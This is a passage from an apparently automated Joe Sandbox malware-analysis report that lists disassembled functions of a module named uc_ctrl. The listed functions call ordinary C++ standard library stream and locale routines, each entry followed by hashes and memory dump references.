Instruction Fuzzy Hash: 3221AF35901144AFCB01DFA8C950BEDBBF5AF69308F24808DE544AB381CB76DA19CBA0

Function 6C958F20 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C958F27

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6C958F57

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93AFBD: __EH_prolog3.LIBCMT ref: 6C93AFC4
Part of subcall function 6C93AFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C937FBA,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93AFCF
Part of subcall function 6C93AFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93AFE7
Part of subcall function 6C93AFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B04B

std::locale::~locale.LIBCPMT ref: 6C958F6C
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAA_N@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6C958FA4
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6C958FE7

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 4202057792-0
Opcode ID: a40c8ca043ed16746a15fc91e35d3e9a709bd6a133c5696ed861208e173527f6
Instruction ID: f46be726a0a65a714d2e2bac1cb2364a62d6437d75eca16ef31bcdd5ac7d284e
Opcode Fuzzy Hash: a40c8ca043ed16746a15fc91e35d3e9a709bd6a133c5696ed861208e173527f6
Instruction Fuzzy Hash: A7218C74901218EFCB04DFE4C890DEEBBB5AF28308F54505DE006A7741C732DA59CBA5

Function 6C950F60 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C950F67

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6C950F97

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949C86: __EH_prolog3.LIBCMT ref: 6C949C8D
Part of subcall function 6C949C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAF1,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949C98
Part of subcall function 6C949C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949CB0
Part of subcall function 6C949C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949D14

std::locale::~locale.LIBCPMT ref: 6C950FAD
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_J@Z.MSVCP140(?,?,?,00000002,?,?,?,?,?,?,?,?,?,?,?,00000028), ref: 6C950FDA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6C951027

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: df25240dbe262c684e981bbbf26d7f009734439808daf1e931a9a7ac9deddfbd
Instruction ID: 4f9e500e18f8b0b235fc1a4a0daad17436a7bbb7eecaa26ee5649ed77e26af3f
Opcode Fuzzy Hash: df25240dbe262c684e981bbbf26d7f009734439808daf1e931a9a7ac9deddfbd
Instruction Fuzzy Hash: 1821CD31901104EFCB05DFA8C950BEDBBB5AF29308F24804DE144AB381CB75DA09DBA0

Function 6C9588A0 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9588A7

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6C9588D7

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93AFBD: __EH_prolog3.LIBCMT ref: 6C93AFC4
Part of subcall function 6C93AFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C937FBA,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93AFCF
Part of subcall function 6C93AFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93AFE7
Part of subcall function 6C93AFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B04B

std::locale::~locale.LIBCPMT ref: 6C9588EC
?get_year@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6C958924
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6C958967

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_year@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2761499258-0
Opcode ID: 4ecb435ba72d359bc89cd65081c5bf4cf97da6936db8c7a876661dc6574a50ec
Instruction ID: 105c2b3ce57823482658b18bd0ee04b8f3c35eb9e514ab6b667f6fd027f4ca2e
Opcode Fuzzy Hash: 4ecb435ba72d359bc89cd65081c5bf4cf97da6936db8c7a876661dc6574a50ec
Instruction Fuzzy Hash: 67215C74901218EFCB05DFE4C8A0DEDBBB5AF28308F54505DE105A7742D731DA59CBA5

Function 6C958980 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C958987

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6C9589B7

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93AFBD: __EH_prolog3.LIBCMT ref: 6C93AFC4
Part of subcall function 6C93AFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C937FBA,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93AFCF
Part of subcall function 6C93AFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93AFE7
Part of subcall function 6C93AFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B04B

std::locale::~locale.LIBCPMT ref: 6C9589CC
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAK@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6C958A04
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6C958A47

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 4202057792-0
Opcode ID: 781178314ee20ef864d26c58cd7a1e8b3f46b3a428d4a7bcd792daa363ccd3c8
Instruction ID: 80b453c23811d5dcc5b301110ddf9acf432f7848b9494a6ac5591e4da8da0477
Opcode Fuzzy Hash: 781178314ee20ef864d26c58cd7a1e8b3f46b3a428d4a7bcd792daa363ccd3c8
Instruction Fuzzy Hash: 76214774901258AFCB05DFE4C8909EEBBB9AF28308F54505EE006A7742DB31DA59CBA5

Function 6C958A60 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C958A67

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6C958A97

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93AFBD: __EH_prolog3.LIBCMT ref: 6C93AFC4
Part of subcall function 6C93AFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C937FBA,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93AFCF
Part of subcall function 6C93AFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93AFE7
Part of subcall function 6C93AFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B04B

std::locale::~locale.LIBCPMT ref: 6C958AAC
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6C958AE4
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6C958B27

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 4202057792-0
Opcode ID: 5a25f2f66235943a9521f9bd6bdb8e4354ae980db17cd68b7ec9a69a6d6cf321
Instruction ID: 05d24325a722c41a8e17cff7caa395e414e1c0abe1a5a683a47ef6dc57802dfa
Opcode Fuzzy Hash: 5a25f2f66235943a9521f9bd6bdb8e4354ae980db17cd68b7ec9a69a6d6cf321
Instruction Fuzzy Hash: D0218C74A01218AFCB05DFE4C990DEDBBB9AF28308F54505DE005A7741C731DA59CBA1

Function 6C958B40 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C958B47

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6C958B77

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93AFBD: __EH_prolog3.LIBCMT ref: 6C93AFC4
Part of subcall function 6C93AFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C937FBA,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93AFCF
Part of subcall function 6C93AFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93AFE7
Part of subcall function 6C93AFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B04B

std::locale::~locale.LIBCPMT ref: 6C958B8C
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAI@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6C958BC4
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6C958C07

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 4202057792-0
Opcode ID: 48b83084474ab990be7d85acda1e78f84fa065ae33a5e1322479299978962734
Instruction ID: 35634abad662bf655220876c4ec13e452dfb374b1e4d4acf3794d0485146de70
Opcode Fuzzy Hash: 48b83084474ab990be7d85acda1e78f84fa065ae33a5e1322479299978962734
Instruction Fuzzy Hash: 78216A74D01218AFCB05DFE4C8909EEBBB9AF28308F54505DE005A7742D731DA59CBA5

Function 6C956B60 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C956B67

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6C956B97

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93B058: __EH_prolog3.LIBCMT ref: 6C93B05F
Part of subcall function 6C93B058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93800B,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93B06A
Part of subcall function 6C93B058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93B082
Part of subcall function 6C93B058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B0E6

std::locale::~locale.LIBCPMT ref: 6C956BAD
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBX@Z.MSVCP140(?,00000000,?,00000002,?,?,?,?,?), ref: 6C956BDB
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6C956C28

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: e1588773f816527c16f025678ab1392a03fd41c453cbd88678c40d4bb2922422
Instruction ID: 26b7e17ae5b21145a49f10ee88d60e0c52f024d00c3702c855d59f251eb9a365
Opcode Fuzzy Hash: e1588773f816527c16f025678ab1392a03fd41c453cbd88678c40d4bb2922422
Instruction Fuzzy Hash: 1D219034901258EFCB05DFA8C850BEDBFB4AF29308F14408DE145A7782CB759A5ACB94

Function 6C958440 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C958447

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,00000000,0000002C), ref: 6C958477

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93AFBD: __EH_prolog3.LIBCMT ref: 6C93AFC4
Part of subcall function 6C93AFBD: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C937FBA,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93AFCF
Part of subcall function 6C93AFBD: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93AFE7
Part of subcall function 6C93AFBD: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B04B

std::locale::~locale.LIBCPMT ref: 6C95848C
?put@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPBUtm@@DD@Z.MSVCP140(?,?,?,?,00000000,00000001,00000002,?,?,?,?,?,?,00000000,0000002C), ref: 6C9584C4
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,00000000,0000002C), ref: 6C958507

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_$??1_?getloc@ios_base@std@@?put@?$time_put@_?setstate@?$basic_ios@_Bid@locale@std@@D@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 1399300241-0
Opcode ID: 87227a76eb995e8def4117feb4c02f6624c1b67499bb82e55da5e1a5b4f89608
Instruction ID: 8c055b8eccbd7e587824bdcdc150993156a76a72a18444629461ca058344615d
Opcode Fuzzy Hash: 87227a76eb995e8def4117feb4c02f6624c1b67499bb82e55da5e1a5b4f89608
Instruction Fuzzy Hash: 27216774901218AFCB05DFE8C890DEEBBB5AF28308F54805EE405A7742DB31DA59CBA5

Function 6C957580 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C957587

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,0000002C), ref: 6C9575B7

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93B058: __EH_prolog3.LIBCMT ref: 6C93B05F
Part of subcall function 6C93B058: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93800B,0000000C,6C938148,?,0000003F,?,00000000,0000003C,6C931A8E,?,?,?,00000004), ref: 6C93B06A
Part of subcall function 6C93B058: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93B082
Part of subcall function 6C93B058: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93B0E6

std::locale::~locale.LIBCPMT ref: 6C9575CD
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_W_N@Z.MSVCP140(?,00000000,?,00000002,?,?,?,?,?), ref: 6C9575FB
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,?,0000002C), ref: 6C957648

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 4cdaca446041d73c3ff5bdd905bdf37855c0ca5c5519b935385cd52bd9ce74f3
Instruction ID: 6c63c099f69a3d707b0c3441517ecfcb4c4981d1f5f6b7e32fb987170a1d0ef2
